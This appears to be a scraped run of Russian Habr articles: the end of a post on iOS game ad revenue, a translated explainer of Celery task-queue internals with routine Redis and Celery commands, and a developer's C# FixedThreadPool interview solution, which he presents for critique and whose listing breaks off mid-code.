Из 10 000 игроков ровно треть играют на *iPad* — 3333.
Игроков на *iPhone 5* — 4444.
Игроков на *iPhone 4* — 2222.
Я оценил число игроков с *iPhone 4* и вчера выпустил третью версию игры, в которой включил поддержку *iOS 6.*
В России это не лишние люди.
#### Маленький личный совет
Кроме того, в *casual* приложениях **не надо** использовать фоновую мелодию. Она пожирает ресурсы памяти и раздражает игроков, слушающих во время игры собственную *iPod music.*
Потому только так
```
// Никакой собственной музыки от разработчика!!
[OALSimpleAudio sharedInstance].allowIpod = YES;
// Mute all audio if the silent switch is turned on.
[OALSimpleAudio sharedInstance].honorSilentSwitch = YES;
```
Теперь, я надеюсь, товарищ, влепивший мне *тройку* вместо *пятерки* за то, что я отключал его музыку, исправит свой отзыв.
*Ахтунг!* Вышеописанная версия программы в данный момент находится на проверке в магазине и не доступна для скачивания.
#### Сколько денег принесет это приложение за год?
$1000. Сейчас оно приносит $3 в день за 10000 *Admob requests* при *eCpm=$0.25.* Не пугайтесь, если первое время *eCpm=$0.12.* Это нормально. В течении пары месяцев число игроков стабилизируется и *eCpm* вырастет до *$0.5*.
Откуда в приложении реклама? Игрок сам включает ее, если хочет пользоваться кнопкой *Undo*. Без кнопки *Undo* ежедневный турнир не выиграешь.
Я ставлю время обновления рекламы максимальным (120 секунд), чтобы не раздражать игрока. Хотя, лично сам, я не замечаю рекламы. Боюсь, что без нее даже не смогу играть)
Кто-то усмехнулся при цифре 3 доллара в день?? Взгляните на первый график. Никто не запрещает мечтать о Flappy Bird в небе. Но не надо забывать про синицу в руках. Вы поработали неделю и получили к Новому Году $1000? Это мало? Это ставка очень хорошего программиста. Если учесть, что к следующему Новому году эта премия не сильно уменьшится. Хотя, на мой вкус, время жизни клонов 2048 — не более года. Ангри бердс — не более месяца, кстати. Или Вы все еще гоняете птичек?
#### Сезонные приложения
Второй способ бесплатных раскруток — сезонное название приложения.
Мои приложения *Biathlon 2013* и [Biathlon 2014 HD](https://itunes.apple.com/app/id768661889) имеют следующий график покупок за время зимней олимпиады в Сочи.
В подтверждении моих слов о сезонных всплесках покупок привожу статистику загрузок приложения *Biathlon 2013*
Приглядитесь на график — с наступлением зимы и стартом розыгрыша очередного Кубка мира по биатлону, приложение начинают покупать. Из таблицы под графиком видно, что каждую зиму приложение зарабатывает по $800.
Ищите события, удачные названия для приложений — и удача Вам улыбнется.
Хотя мое приложение [bobsley](https://itunes.apple.com/app/id866560005) не имеет такого успеха. Но и бобслей не сравнить по популярности с биатлоном.
#### На закуску
Для любителей математических головоломок у меня приготовлен подарочек. Горлумм. Моя прелесть.
Коротко, я придумал и выложил в магазин Apple новую головоломку. Все мех-мат-чики не слазят с игры уже неделю. Это просто бомба. Alex K., отбывающий наказание в *Микрософте*, играет только в нее)
Назвал игру *2048 Solitaire*. Математически доказал, что любой пасьянс сходится за конечное число ходов, соизмеримых со временем жизни Вселенной. Создать бота не смог. Надеюсь на местных талантов.
Игра бесплатная. Для хабражителей есть возможность отключить рекламу. *Читерский* трюк опубликую в день одобрения игры в магазине.
Alex смог собрать расклад *id=49* за 31 ход. Это просто невероятно. | https://habr.com/ru/post/222793/ | null | ru | null |
# Celery: проясняем неочевидные моменты
Содержание статьи:
1. [Обработчики и Брокеры (Workers & Brokers)](https://habr.com/ru/post/686820/#workers-and-brokers)
2. [Очереди (Queues)](https://habr.com/ru/post/686820/#queues)
3. [Задачи (Tasks)](https://habr.com/ru/post/686820/#tasks)
4. [Подтверждение задач (Task Acknowledgment)](https://habr.com/ru/post/686820/#task-ack)
5. [ETA](https://habr.com/ru/post/686820/#eta)
6. [Повторное исполнение задач (Retry Tasks)](https://habr.com/ru/post/686820/#retry)
7. [CPU, I/O ограничения и Процессы vs Потоки](https://habr.com/ru/post/686820/#cpu-io-bound)
8. [Заключение](https://habr.com/ru/post/686820/#conclusion)
9. [Заключение от переводчика](https://habr.com/ru/post/686820/#shamaevnn-conclusion)
---
Начнем с небольшой философии на тему разработки. Вопрос простой: должны ли мы сначала до последней страницы изучить документацию, а затем, когда мы, предположительно, полностью поймем библиотеку изнутри, начать использовать ее в своем коде? Или мы должны сначала использовать ее, поиграться с ней, прежде чем возвращаться и читать документацию.
Celery на самом деле полна подводных камней. Отчасти потому, что внутри происходит работа с параллельными процессами, потоками ... и большую часть времени такие детали скрываются. Зачастую разработчику не нужно думать о них, и, следовательно, контакта со всем этим почти нет. И отчасти поэтому, для разработчика Celery иногда ведет себя самым неожиданным образом. Поэтому в нашем случае чтение документации все-таки необходимо.
Обработчики и Брокеры (Workers & Brokers)
-----------------------------------------
Для начала, нужно объяснить некоторые основные понятия, которые используются в Celery.
Celery — это "Очередь задач" (`Task queue`). Да, для меня тоже было неизвестно, что это реальный термин. Мне казалось, что это описание того, что это такое в принципе — очередь задач, которые в конечном итоге будут выполнены. Итак, **Celery** — **это** программа, которая отслеживает **задачи** (`tasks`), которые необходимо выполнить, и в которой есть набор **обработчиков** (`workers`), которые будут выполнять эти задачи. Основной смысл в том, что она (программа) может выполнять несколько задач **параллельно** и что она **не блокирует** поставщиков (`producers`) этих самых задач.
Celery на самом деле не хранит все эти задачи в памяти. Для хранения задач есть отдельный сервис, называемый брокером сообщений (`message broker`), который по сути своей является очередью. Обычно это либо [Redis](https://redis.io/), либо [RabbitMQ](https://www.rabbitmq.com/). Т.е. Celery следит за тем, что происходит в очереди, но хранится она внутри Redis/RabbitMQ.
При запуске Celery создается 1 обработчик.
```
celery -A tasks worker
```
Этот обработчик является главным процессом (`supervisor process`), который будет порождать дочерние процессы или потоки, которые в свою очередь будут выполнять задачи. По умолчанию главный обработчик будет создавать **дочерние процессы, а не потоки**, и он создаст столько одновременных дочерних процессов, сколько ядер у процессора. Главный процесс будет следить за тем, что происходит с задачами и процессами/потоками, но он не будет запускать сами задачи. Эта группа дочерних процессов или потоков, которая ожидает выполнения задач, называется **пулом выполнения** (`execution pool`) или **пулом потоков** (`thread pool`).
Очереди (Queues)
----------------
Да, тут намеренно используется множественное число для очередей, потому что существует несколько видов очередей 🧙🏽⚗️.
Прежде всего, существует **главная очередь** (`main queue`), которая принимает задачи от **поставщиков** (`producers`) по мере их поступления и передает обработчикам по мере их запроса. По умолчанию есть только одна такая очередь. Все обработчики принимают задачи из одной очереди. Но вы также можете указать несколько таких очередей и назначить конкретные обработчики на определенные очереди. Очередь по умолчанию называется `celery`.
Чтобы просмотреть первые 100 задач в очереди в Redis, выполните:
```
redis-cli lrange celery 0 100
```
Эти очереди сильно напоминают FIFO (First In First Out), но это не совсем так. Задачи, которые сначала помещаются в очередь, первыми удаляются из очереди, НО они не обязательно выполняются первыми.
Когда обработчики извлекают новые задачи из очереди, они обычно (по умолчанию) берут не столько задач, сколько у них есть процессов, они берут больше. [По умолчанию формула для количества взятых задач такая:](https://docs.celeryq.dev/en/stable/userguide/configuration.html#std-setting-worker_prefetch_multiplier)
```
# n_processes — количествово потоков/процессов
n_tasks = 4 * n_processes
```
Делается это для экономии времени. Взаимодействие с брокером занимает какое-то время, и если задачи, которые необходимо выполнить, выполняются быстро, то обработчики будут запрашивать дополнительные задачи снова, и снова, и снова. Чтобы избежать этого, они запрашивают в X раз больше задач, чем у них есть процессов, за это отвечает параметр `worker_prefetch_multiplier` (*прим: этот момент хорошо описан в* [*документации*](https://docs.celeryq.dev/en/stable/userguide/optimizing.html#optimizing-prefetch-limit)).
Но ведь есть задачи, которые никогда не попадают в главную очередь и все равно выполняются. Как это возможно, спросите вы меня? Задавая себе и Google один и тот же вопрос, хочу сообщить вам, что Google очень мало что смог сказать по этому поводу. Нашлись только обрывки информации. Но, посидев с Celery и Redis несколько часов (или дней??), обнаружилось следующее.
Задачи с ETA **никогда** не помещаются в главную очередь. Они помещаются во что-то среднее между очередью и списком “неподтвержденных задач”, и называется эта очередь `unacked` (*прим*: *сокращение от слова "unacknowledged"*). Согласитесь, что очень легко пропустить что-то с названием `unacked`, когда вы пытаетесь понять, как и куда некоторые задачи только что исчезли. Итак, примечание для следующего раза, когда мне или вам нужно будет что-то назвать: все названия, с которыми встречается пользователь, должны быть прописаны полностью.
Итак, что представляют собой ETA задачи? Это запланированные задачи. ETA расшифровывается как "estimated time of arrival" (“предполагаемое время прибытия”). Все задачи, для которых указано ETA или обратный отсчет (`countdown`), например:
```
my_task.apply_async((1, 2), countdown=3)
my_task.apply_async((1, 2), eta=tomorrow_datetime)
```
хранятся в `unacked` очереди. Сюда же попадают и задачи с ретраями, потому что при повторном выполнении задачи она повторяется через определенное количество секунд, а это означает, что у нее есть ETA.
Посмотреть, какие задачи находятся в очереди ETA в Redis, можно вот так:
```
redis-cli HGETAL unacked
```
В ответ получите список из чередующихся ключей и значений:
```
1) "46165d9f-cf45-4a75-ace1-44443337e000"
2) "[{\"body\": \"W1swXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIj\", \"content-encoding\": \"utf-8\", \"content-type\": \"application/json\", \"priority\": 0, \"body_encoding\": ...
3) "d91e8c77-25c0-497f-9969-0ccce000c6667"
4) "[{\"body\": \"W1s0XSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgI\", \"content-encoding\": \"utf-8\", ...
...
```
Задачи (Tasks)
--------------
Задачи иногда также называют сообщениями. По сути брокер сообщений - это нечто, что передает сообщения из одной системы в другую. В нашем случае сообщение представляет собой описание задачи: название (уникальный идентификатор), входные параметры, время ожидания, количество повторных попыток и тд.
В celery задача является классом. Таким образом, каждый раз, когда вы используете декоратор для функции (например, `@shared_task`), чтобы сделать ее celery задачей, под капотом создается класс. Это означает, что у каждой задачи есть `self`, к которому добавляется множество атрибутов, например: `name`, `request`, `status`, `priority`, `retries` и [многое другое](https://github.com/celery/celery/blob/8c5e9888ae10288ae1b2113bdce6a4a41c47354b/celery/events/state.py#L247-L264). Если мы хотим получить доступ к этим атрибутам, то нужно указать параметр `bind=True`.
```
@shared_task(bind=True,...)
def _send_one_email(self, email_type, user_id):
...
num_of_retries = self.request.retries
...
```
Подтверждение задач (Task Acknowledgment)
-----------------------------------------
Ранее мы говорили, что, когда у обработчиков нет задач, они идут и получают еще несколько задач от брокера. Но не все так просто. Когда обработчик “берет” задачу, задача перемещается из главной очереди в `unacked` очередь. Задача полностью удаляется из брокера только после того, как обработчик подтвердит это. Это означает, что когда обработчик забирает себе очередную пачку задач, на самом деле в этот момент задачи только резервируются. Они помещаются в `unacked` очередь и другие обработчики их не возьмут. Если процесс обработчика умирает, то эти задачи становятся доступными для других обработчиков.
Итак, когда обработчик всё же подтверждает выполнение задачи? По умолчанию Celery предполагает, что опасно запускать задачу более одного раза, следовательно, подтверждение задачи происходит непосредственно **перед ее выполнением**. Вы можете изменить это, установив значение [acks\_late=True](https://docs.celeryq.dev/en/stable/userguide/tasks.html#Task.acks_late). В этом случае задача имеет небольшую вероятность быть запущенной более одного раза, если обработчик, выполняющий ее, умирает в середине выполнения. И под “умирает” буквально подразумевается умереть. Python `Exception` в коде задачи не приведет к смерти обработчика. Такая задача по-прежнему будет подтверждена, но ее состояние будет `FAILURE`. Должно произойти что-то из ряда вон выходящее, чтобы обработчик никогда не достиг момента `self.confirmate()`. И на самом деле это редкость. По этой причине, можно сказать, что значение параметра `acks_late` имеет мало значения.
ETA
---
Как уже упоминалось, ETA задачи ... тяжело отыскать. Они никогда не попадают в главную очередь. Они сразу назначаются обработчику и помещаются в `unacked` очередь. Я подозреваю, что это не было сделано намеренно, чтобы задачи ETA немедленно **назначались конкретному обработчику.** Скорее это было просто следствием существующего кода. Задача ETA не может попасть в общую очередь, которая работает почти как FIFO. Единственное другое место для нее находится среди неподтвержденных задач, и в этом случае она должно быть зарезервирована одним обработчиком.
Интересно, что время ETA **не является точным временем** выполнения этой задачи. Вместо этого это **самый ранний момент выполнения этой задачи.** Как только наступит время ETA, задача должна дождаться освобождения обработчика.
Повторное исполнение задач (Retry Tasks)
----------------------------------------
Celery по умолчанию сама не делает ретраи для задач. Главным образом потому, что предполагается, что задачи не являются идемпотентными (*прим: одинаковыми независимо от момента выполнения*), и поэтому небезопасно запускать их более одного раза. Однако, в Celery есть функционал для ретраев задач, но он должен быть явно и отдельно настроен для каждой задачи.
Одним из способов запуска ретрая является вызов `self.retry()` в задаче. Что происходит после того, когда вы вызываете эту команду? Вычисляется время ETA, собираются некоторые новые метаданные, а затем задача отправляется брокеру, где она попадает в `unacked` очередь и назначается тому же обработчику, который уже выполнял эту задачу. Именно так ретрай-задачи становятся задачами ETA и, следовательно, никогда не отображаются в главной очереди брокера. Это очень изящная, но неожиданная схема. И опять же, Google очень мало что может сказать по этому поводу.
Подробнее о ретраях читайте в [гайде по ретраям в Celery](http://www.ines-panker.com/2020/10/29/retry-celery-tasks.html).
CPU, I/O ограничения и Процессы vs Потоки
-----------------------------------------
Как мы уже говорили, по умолчанию Celery выполняет задачи в отдельных процессах, а не в потоках. Но вы можете заставить использовать потоки, стартуя обработчики либо с помощью `--poll eventlet`, либо с помощью `--pool gevent`. И eventlet, и gevent на самом деле создают **гринлеты**, а не потоки. Гринлеты (или зеленые потоки) похожи на потоки, но не являются ими, потому что по определению потоки управляются операционной системой. Гринлеты не полагаются на ОС для обеспечения поддержки потоков, вместо этого они эмулируют многопоточность. Они управляются в пространстве программы, а не в пространстве операционной системы. В любой данный момент нет переключения между потоками. Вместо этого гринлеты добровольно или явно передают управление друг другу в определенных точках вашего кода.
Если ваши задачи сильно загружают процессор, если они выполняют много вычислений (***CPU-bound***), то вам следует продолжать использовать процессы. Если, с другой стороны, ваши задачи в основном выполняют HTTP-запросы (***I/O bound***), то лучше использовать потоки. Причина этого заключается в том, что, пока ваша задача ожидает, пока HTTP-запрос вернет результат, она ничего не делает, она не использует процессор и, следовательно, не будет "возражать", если другой поток будет использовать его.
В Celery гораздо больше неочевидных моментов
--------------------------------------------
Документация в Celery далека от идеала. Описание многих функций разбито на части и разбросано по всем страницам. Трудно найти детали реализации. Я не знаю, как Celery будет вести себя за пределами сценариев, которые создает разработчик. Конечно, после нескольких лет интенсивной работы можно было бы хорошо понять, как это работает, но Celery живет на периферии моей повседневной жизни. Celery ведет себя совершенно по-разному, когда находится на сервере и когда находится на моем компьютере. Я вижу, какие задачи были выполнены, но я не вижу, насколько хорошо они были выполнены. Это сложно измерить у того, что выполняется параллельно, в потоках и почти независимо от вашей программы. Я не доверяю Celery, я не верю, что правильно понимаю настройки, или, можно сказать, я не верю, что знаю, как их правильно настроить. Celery подобен приведению, которое приходит и уходит, иногда ломается, но в большинстве случаев просто работает. Надеюсь, Celery справится с теми задачами, которые мы ему поручаем, но если это не так, он будет работать так же тихо и мы ничего об этом не узнаем.
Источники:
* [*Celery docs*](https://docs.celeryproject.org/en/stable/index.html)
* [*Celery docs: Should I use retry or acks\_late?*](https://docs.celeryproject.org/en/stable/faq.html#faq-acks-late-vs-retry)
* [*Celery Execution Pools: What is it all about?*](https://www.distributedpython.com/2018/10/26/celery-execution-pool/)
* [*Task Queues*](https://fixes.co.za/python/task-queues/#:~:text=Task%20queue%20%2D%20A%20system%20for,in%20the%20broker%20(Application%20code))
* [*Wikipedia: Thread pool*](https://en.wikipedia.org/wiki/Thread_pool)
* [*Eventlet*](https://eventlet.net/)
* [*Gevent*](http://www.gevent.org/)
* [*What are greenlets?*](https://learn-gevent-socketio.readthedocs.io/en/latest/greenlets.html)
---
Конечно, можно сказать, что всё это можно было вычитать из официальной документации. Как бы да, но нет. И это доказывает нам автор статьи *Ines Panker*, которая провела много часов (дней?) на чтение документации, поиск в гугле, тыканье в python/celery/redis. Скажем же ей спасибо за это. А я надеюсь, что эта статья была полезна для вас и что у вас появилось больше понимания того, что вы используете.
##### Никита Шамаев
Подписывайтесь на мой [телеграм-канал](https://t.me/shamaevnn). Там еще больше постов про разработку/технологии/датасеты, и там вы не пропустите анонс следующей статьи 😉 | https://habr.com/ru/post/686820/ | null | ru | null |
# Тестовое задание для Связного FixedThreadPool на C#. Что здесь не так? UPD
**UPDATE:** Я не мог отказать себе в удовольствии исправить свой ошибочный код. Добавил раздел «Работа над ошибками», в котором привожу исправленный код и описание исправлений, основанное на полученных комментариях.
Это скорее пост-вопрос к специалистам, нежели просто кусок полезной информации. Приглашаю к дискуссии.
Недавно я имел счастье послать своё резюме в Связной на позицию .NET разработчика. В ответ меня попросили сделать тестовое задание на знание многопоточности. Я не могу назвать себя экспертом в этой области, но, тем не менее, прекрасно понял, как мне показалось, как реализовать следующие требования:
Требуется реализация класса на языке C#, аналогичного FixedThreadPool в Java, со следующими требованиями:
* В конструктор этого класса должно передаваться количество потоков, которые будут выполнять задачи.
* Интерфейс класса должен предоставлять методы: boolean execute(Task task, Priority priority) и void stop()
* Интерфейс Task должен содержать один метод: void execute(), который вызывается в произвольном потоке.
* Тип Priority — это перечисление из трёх приоритетов: HIGH, NORMAL, LOW. При этом во время выбора следующего задания из очереди действуют такие правила: на три задачи с приоритетом HIGH выполняется одна задача с приоритетом NORMAL, задачи с приоритетом LOW не выполняются, пока в очереди есть хоть одна задача с другим приоритетом.
* До вызова метода stop() задачи ставятся в очередь на выполнение и метод boolean execute(Task task, Priority priority) сразу же возвращает true, не дожидаясь завершения выполнения задачи; а после вызова stop() новые задачи не добавляются в очередь на выполнение, и метод boolean execute(Task task, Priority priority) сразу же возвращает false.
* Метод stop() ожидает завершения всех текущих задач (не очищая очередь).
Поскольку в задании не было сказано какими примитивами я должен пользоваться, должен ли сделать всё на простейших Thread или же использовать ThreadPool, TPL и т.п., я решил, что задание предполагает использование самых базовых элементов: Thread, ManualResetEvents и т.п. Написал за несколько часов, отослал. Сегодня позвонил и получил ответ через кадровика, который звучал примерно так: «это даже не близко к том, что надо». Это меня озадачило, ибо код работает и протестирован, явных огрехов, на мой взгляд нету.
Итак, на ваш суд представляю мою реализацию FixedThreadPool и сопутствующих классов. Сразу предупреждаю, что, по их мнению реализация ошибочна, и, соответственно, брать мою идею за основу не стоит. Некоторые коментарии по коду:
* я решил инкапсулировать потоки задач в самом классе задачи,
* два параметра с типом ILog нужны только для тестовых целей, к основной функциональности они, понятное дело, отношения не имеют,
* весь проект, включая тестовое приложение можно загрузкить по ссылке (27 килобайт): [тестовый проект на ifolder](http://ifolder.ru/31007649)
**FixedThreadPool**
```
///
/// Пул потоков, выполняющий одновременно не более определённого количество задач с учётом их
/// приоритетов.
///
///
/// Тестовый проект для компании Связной.
///
public sealed class FixedThreadPool
{
#region Constructors
///
/// Инициализирует новый экземпляр пул потоков максимальным количеством одновременно
/// выполняемых задач.
///
///
/// Максимальное количество одновременно выполняемых задач.
///
///
/// Сервис логгирования.
///
///
/// Лог для вывода приоритета отобранной для выполнения задачи.
///
///
/// Неправильно заданное максимальное количество одновременно выполняемых задач.
///
public FixedThreadPool
(int aConcurrentTaskNumber, ILog aLog = null, ILog aPriorityLog = null)
{
if (aConcurrentTaskNumber <= 1)
{
throw new ArgumentOutOfRangeException(
"aConcurrentTaskNumber",
"Количество одновременно выполняемых задач должно быть больше единицы.");
}
Log = aLog;
PriorityLog = aPriorityLog;
mConcurrentTaskNumber = aConcurrentTaskNumber;
LogMessage("Создан поток планировщика.");
Thread lTaskSchedulerThread =
new Thread(TaskSchedulerLogic) {Name = "Поток планировщика."};
lTaskSchedulerThread.Start();
LogMessage("Поток планировщика запущен.");
}
#endregion
#region Public methods
///
/// Ставит задачу в очередь на выполнение с приоритетом
/// .
///
///
/// Задача для постановки в очередь на выполнения..
///
///
/// Приоритет задачи.
///
///
/// - задача поставлена в очередь на выполнение.
/// - задача не была поставлена в очередь на выполнение, так как
/// работа пула потока была остановлена.
///
///
/// Задача для постановки в очередь на выполнения не задана.
///
public bool Execute(Task aTask, TaskPriority aTaskPriority)
{
if (aTask == null)
{
throw new ArgumentNullException(
"aTask", "Задача для постановки в очередь на выполнения не задана.");
}
LogMessage("Получена новая задача для выполнения.");
lock (mIsStoppedLock)
{
if (IsStopped)
{
// Запрошена остановка.
LogPriority(aTaskPriority, ConsoleColor.DarkGray);
// Отклонять новые задачи.
return false;
}
}
// Добавить задачу в очередь.
EnqueueTask(aTask, aTaskPriority);
LogMessage("Задача добавлена в очередь задач.", ConsoleColor.DarkYellow);
return true;
}
///
/// Останавливает добавлении задач в очередь пула потоков, очередь не очищается. Возвращает
/// выполнение только после окончания всех имеющихся задач в очереди.
///
///
/// После вызова этого метода дальнейшее добавление задач в очередь на выполнение не
/// возможно и метод будет возвращать .
/// Имеющиеся, на момент выполнения этого метода, задачи в очереди будут выполнены.
///
public void Stop()
{
// Выставить признак окончания работы пула.
lock (mIsStoppedLock)
{
IsStopped = true;
LogMessage("Запрошена остановка пула.");
}
// Дождаться окончания выполнения всех задач, оставшихся в очереди.
LogMessage(
"Начато ожидание завершения выполнения всех оставшихся задач в очереди.",
ConsoleColor.DarkRed);
lock (mTaskSchedulerLock)
{
// Сигнализировать об изменении в условии блокировки по mTaskSchedulerLock.
Monitor.Pulse(mTaskSchedulerLock);
}
mPoolStoppedGate.WaitOne();
LogMessage("Дождались окончания выполнения всех задач в очереди.", ConsoleColor.DarkRed);
}
#endregion
#region Private properties
///
/// Получает/устанавливает признак того, остановлена ли работа пула.
///
///
/// - работа пула остановлена, дальнейшее добавление задач в очередь
/// не возможно. - работа пула продолжается.
///
///
/// Объект синхронизации доступа .
///
private bool IsStopped { get; set; }
///
/// Получает/устанавливает сервис логгирования приоритета задачи.
///
private ILog PriorityLog { get; set; }
///
/// Получает/устанавливает сервис логгирования сообщений.
///
private ILog Log { get; set; }
#endregion
#region Private methods
///
/// Логика работы планировщика выполнения задач. Выполняется в отдельном потоке.
///
private void TaskSchedulerLogic()
{
lock (mTaskSchedulerLock)
{
while (true)
{
// Отпускаем монитор и ждём сигнала, поданного через mTaskSchedulerLock.
Monitor.Wait(mTaskSchedulerLock);
lock (mQueuedTasksLock)
{
lock (mIsStoppedLock)
{
lock (mRunningTasksLock)
{
if (IsStopped &&
!mRunningTasks.Any() &&
!mQueuedTasks.Any())
{
LogMessage(
"Запрошена остановка пула и больше нет задач в очереди на выполнение.");
LogMessage("Планировщик - Выход из потока планировщика.");
// Сигнализировать об окончании выполнения последней задачи.
mPoolStoppedGate.Set();
return;
}
}
}
}
lock (mQueuedTasksLock)
{
if (!mQueuedTasks.Any())
{
// Очередь задач пуста.
// Продолжить ожидание.
continue;
}
}
lock (mRunningTasksLock)
{
if (mRunningTasks.Count >= mConcurrentTaskNumber)
{
// Список выполняемых задач полон.
// Продолжить ожидание.
continue;
}
}
LogMessage(
"Дождались появления задачи в очереди задач.",
ConsoleColor.DarkRed);
// Дождаться и получить следующую задачу для выполнения.
TaskListEntry lTask = DequeueTask();
LogMessage("Планировщик - Получена новая задача для выполнения.");
// Подписаться на событие завершения выполнения задачи.
lTask.Task.Finished += OnTaskFinished;
// Добавить задачу в список выполняемых задач.
lock (mRunningTasksLock)
{
mRunningTasks.Add(lTask);
}
if (lTask.TaskPriority ==
TaskPriority.High)
{
// Запущена задача с высоким приоритетом.
// Увеличить значение счётчика запущенных задач с высоким приоритетом на единицу.
Interlocked.Increment(ref mQueuedHighPriorityTaskCounter);
}
else if (lTask.TaskPriority ==
TaskPriority.Normal)
{
// Запущена задача с обычным приоритетом.
// Уменьшить значение счётчика запущенных задач с высоким приоритетом на HighPriorityTaskFactor.
Interlocked.Add(
ref mQueuedHighPriorityTaskCounter, -HighPriorityTaskFactor);
}
// Запустить задачу на выполнение.
lTask.Task.Execute();
LogMessage(
string.Format(
"Планировщик - Запущена задача с приоритетом {0}.",
lTask.TaskPriority),
ConsoleColor.DarkYellow);
lock (mRunningTasksLock)
{
LogMessage(
string.Format(
"В списке выполняющихся задач {0} задач.",
mRunningTasks.Count));
}
}
}
}
///
/// Обрабатывает событие завершения задачи.
///
///
/// Задача-источник события.
///
///
/// Параметры события.
///
private void OnTaskFinished(object aSender, EventArgs aEventArgs)
{
Task lSender = aSender as Task;
Debug.Assert(
lSender != null, "В параметре aSender задача должна передавать ссылку на себя.");
// Отписаться от события завершения, чтобы задача могла быть убрана сборщиком мусора.
lSender.Finished -= OnTaskFinished;
// Удалить задачу из списка выполняющихся.
lock (mRunningTasksLock)
{
// Найти и удалить закончившуюся задачу из списка выполняющихся задач.
TaskListEntry lEntry = mRunningTasks.First(aEntry => aEntry.Task == lSender);
mRunningTasks.Remove(lEntry);
LogMessage(
string.Format("Задача с приоритетом {0} завершена.", lEntry.TaskPriority),
ConsoleColor.Red);
}
lock (mTaskSchedulerLock)
{
// Сигнализировать об изменении в условии блокировки по mTaskSchedulerLock.
Monitor.Pulse(mTaskSchedulerLock);
}
}
///
/// Добавляет задачу в очередь задач на выполнение.
///
///
/// Задача, добавляемая в очередь задач на выполнение.
///
///
/// Приоритет задачи.
///
private void EnqueueTask(Task aTask, TaskPriority aTaskPriority)
{
TaskListEntry lEntry = new TaskListEntry(aTask, aTaskPriority);
LogPriority(aTaskPriority, ConsoleColor.Green);
lock (mQueuedTasksLock)
{
// Добавить задачу в очередь задач на выполнение.
mQueuedTasks.Add(lEntry);
LogMessage(
string.Format(
"В очередь добавлена задача с приоритетом {0}", lEntry.TaskPriority),
ConsoleColor.Green);
// Поднять барьер доступа к очереди задач.
LogMessage("Поднять барьер доступа к очереди задач.", ConsoleColor.DarkRed);
}
lock (mTaskSchedulerLock)
{
// Сигнализировать об изменении в условии блокировки по mTaskSchedulerLock.
Monitor.Pulse(mTaskSchedulerLock);
}
}
///
/// Ожидает появления в очереди задач хотя бы одной задачи. Дождавшись изымает следующую
/// задачу из очереди, учитывая правила приоритетов.
///
///
/// Задача, изъятая из очереди задач на выполнение.
///
private TaskListEntry DequeueTask()
{
TaskListEntry lNextTask;
lock (mQueuedTasksLock)
{
lNextTask = FindNextTaskUsingPriorityRules();
LogPriority(lNextTask.TaskPriority, ConsoleColor.Red);
LogMessage(
string.Format(
"Получена задача из очереди задач с приоритетом {0}.",
lNextTask.TaskPriority),
ConsoleColor.DarkRed);
mQueuedTasks.Remove(lNextTask);
}
lock (mTaskSchedulerLock)
{
// Сигнализировать об изменении в условии блокировки по mTaskSchedulerLock.
Monitor.Pulse(mTaskSchedulerLock);
}
return lNextTask;
}
///
/// Находит следующую задачу с учётом правил приоритезации.
///
///
/// Найденная следующая задача для выполнения.
///
///
/// ЗАМЕЧАНИЯ ПО ПРАВИЛАМ ПРИОРИТЕЗАЦИИ: Полученные мной правила выбора следующей задачи
/// определены в задании не полностью. В частности, не было сказано что делать, если в
/// очереди задач есть только задачи с обычным приоритетом. Также не определено, что нужно
/// делать, если было выполнено больше, чем три задачи с высоким приоритетом. Поэтому я
/// додумал эти правила, исходя из предположения, что лучше пусть выполняется хоть что-то,
/// чем ждать появления задач с каким-то определённым приоритетом.
///
private TaskListEntry FindNextTaskUsingPriorityRules()
{
TaskListEntry lNextTask;
lock (mQueuedTasksLock)
{
Debug.Assert(
mQueuedTasks.Count > 0,
"Метод FindNextTaskUsingPriorityRules не должен вызываться, если очередь задач пуста.");
// По умолчанию будет выполняться задача с высоким приоритетом.
TaskPriority lNextTaskPriority = TaskPriority.High;
// Проверить возможность выполнения задачи с более низкими приоритетами.
if (mQueuedTasks.All(aEntry => aEntry.TaskPriority == TaskPriority.Low))
{
// В очереди задач все задачи с низким приоритетом.
// Следующая задача будет с низким приоритетом.
lNextTaskPriority = TaskPriority.Low;
}
else
{
// Условие для задач с низким приоритетом не выполняется.
if (mQueuedTasks.Any(
aEntry => aEntry.TaskPriority == TaskPriority.Normal) &&
(mQueuedTasks.All(
aEntry => aEntry.TaskPriority != TaskPriority.High) ||
Interlocked.CompareExchange(ref mQueuedHighPriorityTaskCounter, 0, 0) >=
HighPriorityTaskFactor))
{
// В списке задач на выполнение есть задачи с обычным приоритетом и
// выполнено достаточное количество задач с высоким приоритетом или
// в очереди задач все задачи имеют приоритет ниже высокого.
// Следующая задача будет с обычным приоритетом.
lNextTaskPriority = TaskPriority.Normal;
}
}
lNextTask = mQueuedTasks.First(
aEntry => aEntry.TaskPriority == lNextTaskPriority);
}
return lNextTask;
}
///
/// Выводит сообщение в лог.
///
///
/// Сообщение.
///
///
/// Цвет сообщения.
///
private void LogMessage(string aMessage, ConsoleColor aColor = ConsoleColor.Yellow)
{
if (Log == null)
{
return;
}
Log.WriteMessage(aMessage, aColor);
}
///
/// Выводит приоритет задачи в лог.
///
///
/// Приоритет задачи.
///
///
/// Цвет сообщения.
///
private void LogPriority(TaskPriority aTaskPriority, ConsoleColor aColor)
{
if (PriorityLog == null)
{
return;
}
string lPriority = aTaskPriority == TaskPriority.High
? "H"
: aTaskPriority == TaskPriority.Normal ? "N" : "L";
PriorityLog.WriteMessage(lPriority, aColor);
}
#endregion
#region Private data
///
/// Количество задач с высоким приоритетом, которое должно быть поставлено в очередь до
/// того, как можно будет поставить задачу с обычным приоритетом, если в очереди имеются
/// задачи с высоким приоритетом.
///
private const int HighPriorityTaskFactor = 3;
///
/// Максимальное количество одновременно выполняемых задач. Установка значения возможна
/// только в конструкторе.
///
private readonly int mConcurrentTaskNumber;
///
/// Объект синхронизации доступа к свойству .
///
private readonly object mIsStoppedLock = new object();
///
/// Барьер остановки работы пула. Поднимается, когда запрошена остановка и все задачи
/// завершили своё выполнение.
///
private readonly ManualResetEvent mPoolStoppedGate = new ManualResetEvent(false);
///
/// Список задач, поставленных в очередь на выполнение.
///
///
/// Объект синхронизации доступа .
///
private readonly IList mQueuedTasks = new List();
///
/// Объект синхронизации доступа к списку задач .
///
private readonly object mQueuedTasksLock = new object();
///
/// Список выполняющихся в настоящий момент задач.
///
///
/// Объект синхронизации доступа .
///
private readonly IList mRunningTasks = new List();
///
/// Объект синхронизации доступа к .
///
private readonly object mRunningTasksLock = new object();
///
/// Объект синхронизации, используемый для блокировки/запуска потока планировщика.
///
